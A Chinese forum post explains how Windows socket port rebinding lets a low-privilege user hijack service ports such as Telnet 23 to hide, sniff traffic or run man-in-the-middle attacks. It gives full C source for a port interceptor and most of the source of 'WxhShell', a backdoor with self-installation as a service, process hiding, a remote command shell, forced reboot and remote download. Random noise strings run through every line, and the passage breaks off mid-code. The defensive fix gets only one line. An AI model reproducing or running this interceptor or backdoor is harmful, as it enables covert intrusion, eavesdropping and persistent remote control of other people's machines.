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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: daaEN(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lrr^obc  
2k[i7Rl \c  
  saddr.sin_family = AF_INET; 2FO.!m  
_1c'~;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u!%]?MSc  
*0y+=,"QU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ? kew[oZ  
5( lE$&   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9jiZtwRpk  
AjaG .fa]k  
  这意味着什么?意味着可以进行如下的攻击: ,LXuU8sB  
&tKs t,UR8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <}%>a@  
";j/k9DE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ehXj.z  
M"K$81  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :eI .E:/'  
QzIK580%t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4T6dju  
}Xs=x6Mj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j?6%=KuX<  
v'.?:S&m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $.(>Sj1  
O@3EJkv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UUv&X+ Y  
mqk~Pno|<  
  #include b^PYA_k-Xn  
  #include uj&^W[s  
  #include A $W,#`E  
  #include    !a3cEzs3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q+t*3;X.  
  int main() fk P@e3  
  { `6!l!8 v  
  WORD wVersionRequested; &:8a[C2=  
  DWORD ret; 6@!<' l%z  
  WSADATA wsaData; 3bpbk  
  BOOL val; DJrE[wI  
  SOCKADDR_IN saddr; <!&nyuSz  
  SOCKADDR_IN scaddr; PBr-< J  
  int err; r M'snW)  
  SOCKET s; 4NwGP^ n  
  SOCKET sc; Y{@ez  
  int caddsize; GfY!~J  
  HANDLE mt; _C"W;n'  
  DWORD tid;   ro6peUL*2`  
  wVersionRequested = MAKEWORD( 2, 2 ); uKh),@JV  
  err = WSAStartup( wVersionRequested, &wsaData ); ]BCH9%zLj  
  if ( err != 0 ) { gOO\` #  
  printf("error!WSAStartup failed!\n"); Hbx=vLQ6  
  return -1; Yv9(8  
  } %|o4 U0c  
  saddr.sin_family = AF_INET; a)4.[+wnRf  
   L]kSj$A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i+jSXn"_  
 F[115/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;hmy7M1%  
  saddr.sin_port = htons(23); fT/;TK>z>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Az6f I*yP  
  { _7]* 5Pxo  
  printf("error!socket failed!\n"); j* g5f  
  return -1; 2@1A,  
  } sju. `f>-r  
  val = TRUE; {Rjj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s{KwO+UW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6I72;e ^!  
  { # o)a`,f  
  printf("error!setsockopt failed!\n"); [Pby  d  
  return -1; pb}QP  
  } \8=>l?P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !u~( \ Rb;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zhKb|SV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~DhYiOSo  
uOs 8|pj,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %Ox*?l _  
  { CP'?Om2  
  ret=GetLastError(); br>"96A1l  
  printf("error!bind failed!\n"); E*.D_F  
  return -1; lz faW-nu  
  } zOCru2/  
  listen(s,2); -JaC~v(0  
  while(1) i=.zkIjSh  
  { Cz+>S3v M  
  caddsize = sizeof(scaddr); 7:R8QS9  
  //接受连接请求 8"LvkN/v^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :u`  
  if(sc!=INVALID_SOCKET) \$V~kgQ0  
  { YT}m 8Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'F?T4  
  if(mt==NULL) l^%Ez?-:s  
  { /'u-Fr(Q+  
  printf("Thread Creat Failed!\n"); tV9nC   
  break; SI*O#K=w  
  } <E|i3\[p  
  } {b"V7vn,  
  CloseHandle(mt); uYhm Fp  
  } {XC# -3O  
  closesocket(s); c# U!Q7J  
  WSACleanup(); ^|Of  
  return 0; &o= #P2Qd  
  }   5<GC  
  DWORD WINAPI ClientThread(LPVOID lpParam) =" #O1$  
  { k!>MZ  
  SOCKET ss = (SOCKET)lpParam; tVvRT*>Wb  
  SOCKET sc; g599Lc&  
  unsigned char buf[4096]; vkOCyi?c  
  SOCKADDR_IN saddr; #Fl "#g$  
  long num; H@qA X  
  DWORD val; sikG}p0mx<  
  DWORD ret; =m:xf&r#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B5~S&HQ?B6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^9%G7J:vGO  
  saddr.sin_family = AF_INET; tz)aQ6p\X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D4ESo)15'  
  saddr.sin_port = htons(23); p}.L]Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ow!utAF  
  {  T+9#P4  
  printf("error!socket failed!\n"); -[|R \'i  
  return -1; Nj5Mc>_   
  } y>3Zh5=  
  val = 100; 3u^U\xB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jv %, v?  
  { \ty{KAc&  
  ret = GetLastError(); b<P9@h~:  
  return -1; 0WaC.C+2i  
  } B?`Gs^Y {z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *R m>bLI  
  { 75u/'0~5  
  ret = GetLastError(); mQhI"3! f  
  return -1; 6.ASLH3#  
  } casva;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U}~SY  
  { z8G1[ElY  
  printf("error!socket connect failed!\n"); }KEyJj3"DA  
  closesocket(sc); b lP@Cn2  
  closesocket(ss); |,c QJ  
  return -1; X+z!?W*a  
  } P hs4]!  
  while(1) uPr'by  
  { 2w>WS#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (/Lo44wT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _HW~sz|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 epI&R)]   
  num = recv(ss,buf,4096,0); @e8b'w3  
  if(num>0) 5I`j'j  
  send(sc,buf,num,0); 3} @3pVS  
  else if(num==0) _dky+ E  
  break; I`^ 7Bk.r  
  num = recv(sc,buf,4096,0); 5R\{&  
  if(num>0) "j;"\i0  
  send(ss,buf,num,0); b R> G%*a  
  else if(num==0) 2a|9D \  
  break; As }:~Jy|  
  } FNL[6.!PV  
  closesocket(ss); dQT A^m  
  closesocket(sc); {}kE=L5  
  return 0 ; AE?MEag  
  } 2#1"(m{  
p2 V8{k  
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========================================================== ebK/cPa8  
OC34@YUj[  
下边附上一个代码,,WXhSHELL |ZZl3l=]  
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========================================================== &*}`uJt  
?~X*\  
#include "stdafx.h" W/DSj :  
y.PWh<dI  
#include <stdio.h> }K':tX?  
#include <string.h> `2-6Qv  
#include <windows.h> +z}O*,M"q  
#include <winsock2.h> *(wkgn  
#include <winsvc.h> (k/[/`3ST  
#include <urlmon.h> U l8G R  
"Zm**h.t  
#pragma comment (lib, "Ws2_32.lib") & mwQj<Z  
#pragma comment (lib, "urlmon.lib") zGzeu)d  
N^</:R  
#define MAX_USER   100 // 最大客户端连接数 5x856RQ'  
#define BUF_SOCK   200 // sock buffer < %@e<,8  
#define KEY_BUFF   255 // 输入 buffer HHVCw7r0  
)r2$!(NQ  
#define REBOOT     0   // 重启 8T<LNC  
#define SHUTDOWN   1   // 关机 HYU-F_|N=  
%3b;`Oa  
#define DEF_PORT   5000 // 监听端口 #gn{X!;-;  
{9?++G"\  
#define REG_LEN     16   // 注册表键长度 :5|'C  
#define SVC_LEN     80   // NT服务名长度 R9XISsM^  
WK$75G,  
// 从dll定义API -' :;0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ykK21P,v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RP[^1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2E5n07,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +g %h,@  
$d0xJxM  
// wxhshell配置信息 WXHvUiFf  
struct WSCFG { {zzc/!|  
  int ws_port;         // 监听端口 SB~HHx09  
  char ws_passstr[REG_LEN]; // 口令 )(bAi  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]JDKoA{S0  
  char ws_regname[REG_LEN]; // 注册表键名 <14,xYpE  
  char ws_svcname[REG_LEN]; // 服务名 ^4MRG6G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  PL"u^G`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TwPp Z@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D)shWJRlvW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )/4eT\=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a(.q=W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &[ oW"Q{  
p+x}$&<|  
}; 6=N!()s  
RJ}%pA4I  
// default Wxhshell configuration pQ~Y7  
struct WSCFG wscfg={DEF_PORT, E>LZw>^Y J  
    "xuhuanlingzhe", ;ctPe[5  
    1, N"/J1   
    "Wxhshell", Pgug!![  
    "Wxhshell", `U4e]Qh/+  
            "WxhShell Service", {7d(B1[1  
    "Wrsky Windows CmdShell Service", 1fgO3N  
    "Please Input Your Password: ", i ZU 1w7Z  
  1, C2e.RTxc  
  "http://www.wrsky.com/wxhshell.exe", ZG(.Q:1  
  "Wxhshell.exe" <TN+-)H6  
    }; lZ,w#sqbY  
7QSr C/e  
// 消息定义模块 ,:[\h\5m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0G; b+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gvzBV +3'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B1^9mV'O  
char *msg_ws_ext="\n\rExit."; vw~=z6Ka  
char *msg_ws_end="\n\rQuit."; ~ eNKu  
char *msg_ws_boot="\n\rReboot..."; y26?>.!  
char *msg_ws_poff="\n\rShutdown..."; 'kuLkM,  
char *msg_ws_down="\n\rSave to "; 1&Z#$iD  
] 6Y6q])Z  
char *msg_ws_err="\n\rErr!"; idzc4jR6BT  
char *msg_ws_ok="\n\rOK!"; fEJF3<UF&  
y':JUwUN  
char ExeFile[MAX_PATH]; g9~QNA  
int nUser = 0; >DM^/EAG{  
HANDLE handles[MAX_USER]; iQd,xr  
int OsIsNt; ^7Z#g0{^w  
bU$f4J  
SERVICE_STATUS       serviceStatus; e^=b#!}-5:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; } "QL"%  
Wf!u?nH.5  
// 函数声明 /Fj*sS8  
int Install(void); 8*x/NaH /\  
int Uninstall(void); \Gl>$5np  
int DownloadFile(char *sURL, SOCKET wsh); `8 Ann~Z|k  
int Boot(int flag); F_I.=zQr  
void HideProc(void); jjT)3 c:J[  
int GetOsVer(void); qs$w9I  
int Wxhshell(SOCKET wsl); Kcu*Z  
void TalkWithClient(void *cs); F+<e9[  
int CmdShell(SOCKET sock); sgLw,WZ:  
int StartFromService(void); m!- R}PQC  
int StartWxhshell(LPSTR lpCmdLine); ]]F e:>  
S^Mx=KJG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #fVk;]u`[3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hb&C;lk  
*-eDU T|O  
// 数据结构和表定义 $V870 <  
SERVICE_TABLE_ENTRY DispatchTable[] = Mni@@W  
{ T`$!/BlZ  
{wscfg.ws_svcname, NTServiceMain}, mXwDB)O{)  
{NULL, NULL} 50`=[l`V  
}; zI7iZ"2a  
FZBdQhYF  
// 自我安装 % `\}#  
int Install(void) pqF!1  
{ cj;k{ Moc  
  char svExeFile[MAX_PATH]; $Wn!vbL  
  HKEY key; @ JfQ}`  
  strcpy(svExeFile,ExeFile); GT 5J`  
b3.}m[]  
// 如果是win9x系统,修改注册表设为自启动 ?Gnx!3Q  
if(!OsIsNt) { i'YM9*yN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +/>XOY|Ie  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7`J= PG$A  
  RegCloseKey(key); !sVW0JSh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 45 B |U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); itmFZZh  
  RegCloseKey(key); wiP )"g.t  
  return 0; h+DK .$  
    } c#zx" ,K  
  } 4+B&/}FDLo  
} tk\)]kj  
else { ;9;jUQ]MyG  
PfN[)s4F{R  
// 如果是NT以上系统,安装为系统服务 ':d9FzGKa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cGM?r}zJ  
if (schSCManager!=0)  myOdf'=  
{ ;q33t% j  
  SC_HANDLE schService = CreateService Sa9p#OQ  
  ( kInU,/R*  
  schSCManager, kXN8hU}iq  
  wscfg.ws_svcname, R ~?9+  
  wscfg.ws_svcdisp, bH}?DMq]O  
  SERVICE_ALL_ACCESS, w 6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dZkj|Ua~  
  SERVICE_AUTO_START, uskJ(!  
  SERVICE_ERROR_NORMAL, g3| 62uDF  
  svExeFile, * "d['V3  
  NULL, ~.$ca.Gf  
  NULL, @[v4[yq-  
  NULL, ;;  ?OS  
  NULL, %~I%*=o[  
  NULL z3p TdUt  
  ); 8 3Tv-X  
  if (schService!=0) r7+Ytr  
  { VmON}bb[zz  
  CloseServiceHandle(schService); MlV3qM@  
  CloseServiceHandle(schSCManager); GK&R,q5}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R4%}IT^%P  
  strcat(svExeFile,wscfg.ws_svcname); )mu[ye"p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ('6sW/F*ab  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H;N6X y*~  
  RegCloseKey(key); y:YJv x6&4  
  return 0; |"+UCAU  
    } CwaW>(`v  
  } z9 $1jC  
  CloseServiceHandle(schSCManager); }u.I%{4  
} y_M,p?]^,  
} P?|>, \t  
2gJkpf9JN  
return 1; (mgv:<c;BA  
} Y' O3RA5E  
B8 r#o=q1  
// 自我卸载 WelB"L  
int Uninstall(void) ]--" K{  
{ TFO4jjiC"  
  HKEY key; ! i8'gq'q  
&?*H`5#?G  
if(!OsIsNt) { i#I7ncX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hQ}y(2A.XI  
  RegDeleteValue(key,wscfg.ws_regname); J\E?rT  
  RegCloseKey(key); ^wD@)Dz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RG6U~o1  
  RegDeleteValue(key,wscfg.ws_regname); ,.i)(Or  
  RegCloseKey(key); ;Dp<|n  
  return 0; ]p*Fq^  
  } 8Z>=sUMQ  
} MI,kKi  
} F.iJz4ya_  
else { @DuSii#.S  
4Un%p7Y~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;3&HZq6Z (  
if (schSCManager!=0) Gj&`+!\  
{ +:&|]$8<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'wjL7P I  
  if (schService!=0) r:5u(2  
  { $H"(]>~  
  if(DeleteService(schService)!=0) { Xcb'qU!2-^  
  CloseServiceHandle(schService); {YIf rM  
  CloseServiceHandle(schSCManager); s >7(S%#N  
  return 0; H|z:j35\  
  } J0 UF(  
  CloseServiceHandle(schService); O^r,H,3S  
  } j[|mC;y.  
  CloseServiceHandle(schSCManager); b,lIndj#  
} 8F/JOtkGMt  
} 64l(ru<  
;uaZp.<um&  
return 1; O0QK `F/)*  
} O~c\+~5M*  
o{OY1 ;=6  
// 从指定url下载文件 N4u-tlA  
int DownloadFile(char *sURL, SOCKET wsh) h 6juX'V  
{ ;oWak`]f  
  HRESULT hr; C!^[d  
char seps[]= "/"; l~ZIv   
char *token; {Z1^/F v3  
char *file; 6tN!]  
char myURL[MAX_PATH]; QygbfW6u  
char myFILE[MAX_PATH]; +K:hetv  
'Omj-o'tn9  
strcpy(myURL,sURL); wY*tq{7  
  token=strtok(myURL,seps); aK]H(F2#  
  while(token!=NULL) "p"~fN /I9  
  {  lx&;?QQ  
    file=token; \s_`ZEB  
  token=strtok(NULL,seps); G$E+qk nJL  
  } }5=tUfh)]'  
gUrXaD#  
GetCurrentDirectory(MAX_PATH,myFILE); a[7 Lqu  
strcat(myFILE, "\\"); lO=~&_  
strcat(myFILE, file); h`pXUnEZ  
  send(wsh,myFILE,strlen(myFILE),0); iJ p E`  
send(wsh,"...",3,0); L~HL*~#d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,rWej;CzN  
  if(hr==S_OK)  4_d'Uh&]  
return 0; 6.k>J{GG  
else DwI X\9  
return 1; KVp3 pUO  
Iz9b5  
} MXrh[QCU)  
7 |Q;E|=-Y  
// 系统电源模块 LIfYpn6  
int Boot(int flag) R_B`dP<"~Y  
{ Ax'o|RE)x  
  HANDLE hToken; {J]x81}*;  
  TOKEN_PRIVILEGES tkp; 7(B"3qF8|  
N.?)s.D(  
  if(OsIsNt) { hi^t zpy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e#s-MK-Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ab^>_xD<  
    tkp.PrivilegeCount = 1; ~ }?*v}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X^)v ZL?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qORRpWyx&  
if(flag==REBOOT) { YxWA] yL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A3Oe=rB  
  return 0; /s "Lsbe  
} tlcNGPa  
else { 5'S~PQka*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {!NX u  
  return 0; [6f(3|"  
} {R}Kt;L:Ut  
  } E[2xo/H  
  else { l G $s(  
if(flag==REBOOT) { @q+X:K5b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1[4 0\sM  
  return 0; PEPf=sm  
} v-!^a_3Ui  
else { ' ;3#t(J;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !b8.XGo  
  return 0; Q[MWzsx  
} h9I vuv'  
} v 6KRE3:V  
UflS`  
return 1; .?)gn]#  
} 6 B*,Mu4A  
mH /9J  
// win9x进程隐藏模块 Z^O_7I<5E  
void HideProc(void) wOF";0EN  
{ rLp (}^  
z65Q"A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vY2^*3\<D  
  if ( hKernel != NULL ) m.w.h^f$&  
  { y8$I=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sq[LwJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9_xJT^10  
    FreeLibrary(hKernel); h Nx#x  
  } 1s6L]&B  
XxLauJP K  
return; Y|~+bKa  
} D"8?4+  
CZw]@2/JuQ  
// 获取操作系统版本 T1i}D"H %  
int GetOsVer(void) oyq9XW~ D  
{ -d_7 q  
  OSVERSIONINFO winfo; n>W*y|UJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4x"9Wr=}  
  GetVersionEx(&winfo);  &sg~owz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _ls i,kg?  
  return 1; x`JhNAO>  
  else PdSYFJM  
  return 0; Z \>mAtm  
} ?<STl-]&  
SYwB #|  
// 客户端句柄模块 GL'l "L  
int Wxhshell(SOCKET wsl) Z~v-@  
{ jW;g{5X  
  SOCKET wsh; <3!Q Xc  
  struct sockaddr_in client; tO+Lf2Ni+  
  DWORD myID; ].HHTCD`c  
D8f4X w}=  
  while(nUser<MAX_USER) si#1sdR  
{ raJv$P  
  int nSize=sizeof(client); SSysOeD+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S(PU"}vZy  
  if(wsh==INVALID_SOCKET) return 1; 'w?}~D.y  
5F$~ZDu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HUalD3 \  
if(handles[nUser]==0) 'g:.&4x_w  
  closesocket(wsh); /q5!p0fH*  
else ;}}k*< Z  
  nUser++; GS+Z(,J>=  
  } 74fE%;F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QE+HL8c^s  
L~{3W  
  return 0; W]I+Rlv)U  
} 3gs!ojG  
#83pitcc  
// 关闭 socket GD0Q`gWNe  
void CloseIt(SOCKET wsh) OE=.@Ry"  
{ hw2Sb,bY  
closesocket(wsh); Zmz $ hr  
nUser--; 7UsU03  
ExitThread(0); #j4RX:T*[  
} &vN^ *:Q  
#:s*Hy=  
// 客户端请求句柄 dU&hM<.|  
void TalkWithClient(void *cs) _B7+n"t\r  
{ "=,IbC  
)`K!XX$%  
  SOCKET wsh=(SOCKET)cs; @{U@?6eZ  
  char pwd[SVC_LEN]; $7*@TMX  
  char cmd[KEY_BUFF]; szGGw  
char chr[1]; Y(F>;/AA  
int i,j; eS/Au[wS  
d~#:t~ $,  
  while (nUser < MAX_USER) { A,4Z{f83  
@:t2mz:^i  
if(wscfg.ws_passstr) { 2 2@w:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n;e.N:p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sFw;P`  
  //ZeroMemory(pwd,KEY_BUFF); g17 fge6%  
      i=0; O96%U$W  
  while(i<SVC_LEN) { "f:_(np,  
Ou{VDE  
  // 设置超时 zg$NrI&  
  fd_set FdRead; /" @cv{  
  struct timeval TimeOut; =F09@C,  
  FD_ZERO(&FdRead); }#2I/dn  
  FD_SET(wsh,&FdRead); 7V-uQ)*  
  TimeOut.tv_sec=8; b}!T!IP}  
  TimeOut.tv_usec=0; PO*0jO;%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); " TC:O^X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 88Vl1d&b  
/YHnt-}v,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q9(Z9$a(\  
  pwd=chr[0]; BHt9$$Z|  
  if(chr[0]==0xd || chr[0]==0xa) { M\9+?  
  pwd=0; xM?tdQ~VHY  
  break; 6 -BC/  
  } ^#]eCXv  
  i++; MH/bJtNq  
    } ~uu{ v')  
^ /)%s3  
  // 如果是非法用户,关闭 socket L:7 kp<E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TGGbO:s3  
} 3&zcdwPj  
|?t}7V#[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {_ {zs!r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vngn^2  
Y%^qt]u.8  
while(1) { qVE <voB8  
R|[gEavFl  
  ZeroMemory(cmd,KEY_BUFF); cH6J:0>W  
!:Ob3Mq\  
      // 自动支持客户端 telnet标准   *iJ>@ vew  
  j=0; Z@0IvI  
  while(j<KEY_BUFF) { ZhFlR*EQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4e?MthJ>  
  cmd[j]=chr[0]; Qn}M  
  if(chr[0]==0xa || chr[0]==0xd) { UZ!It>  
  cmd[j]=0; 03gYl0B  
  break; * BKIA  
  } VjJ}q*/3e  
  j++; |eK^Yhym  
    } wQYW5X  
f1|&umJ$  
  // 下载文件 =g$%jM>35  
  if(strstr(cmd,"http://")) { cToT_Mk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^bECX<,H  
  if(DownloadFile(cmd,wsh)) iN1_ T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Uhl4Mh  
  else rC6@ ]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3cc;BWvM  
  } !-4VGt&c,  
  else { o @nsv&i  
@4Lol2  
    switch(cmd[0]) { ,Bl_6ZaL  
  dst!VO: M  
  // 帮助 {dwlW`{  
  case '?': { $pauPEe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (};/,t1#$  
    break; R]0tG   
  } u<EPK*O*  
  // 安装 L=&}s[5  
  case 'i': { ; jrmr`l=  
    if(Install()) n&8SB'-r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !:a^f2^=  
    else m2[J5n?zLL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~YXkAS:  
    break; AE=E"l1]  
    } @[bFlqs E  
  // 卸载 36}&{A  
  case 'r': { WQsu}_g5y  
    if(Uninstall()) .f`KP!p.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Iacs s0;  
    else jXIVR'n(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { T?1v*.[  
    break; 8zQN[[#n  
    } o@ @|4 F  
  // 显示 wxhshell 所在路径 \ lK `  
  case 'p': { G,6 i!M  
    char svExeFile[MAX_PATH]; /]2I%Q  
    strcpy(svExeFile,"\n\r"); |d=GAW v  
      strcat(svExeFile,ExeFile); av~kF  
        send(wsh,svExeFile,strlen(svExeFile),0); =oTj3+7  
    break; fDAT#nlyp  
    } 6ipQx/IQ  
  // 重启 ~-'-<-  
  case 'b': { !J[!i"e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3\K;y>NK  
    if(Boot(REBOOT)) e8{!Kjiz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oE)xL%*  
    else { %$=2tfR  
    closesocket(wsh); OV`li#H  
    ExitThread(0); J:G{  
    } W&7(  
    break; goc; .~?  
    } eQ<G Nvm  
  // 关机 fYlqaO4[  
  case 'd': { +@~e9ZG%a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dw%g9DT  
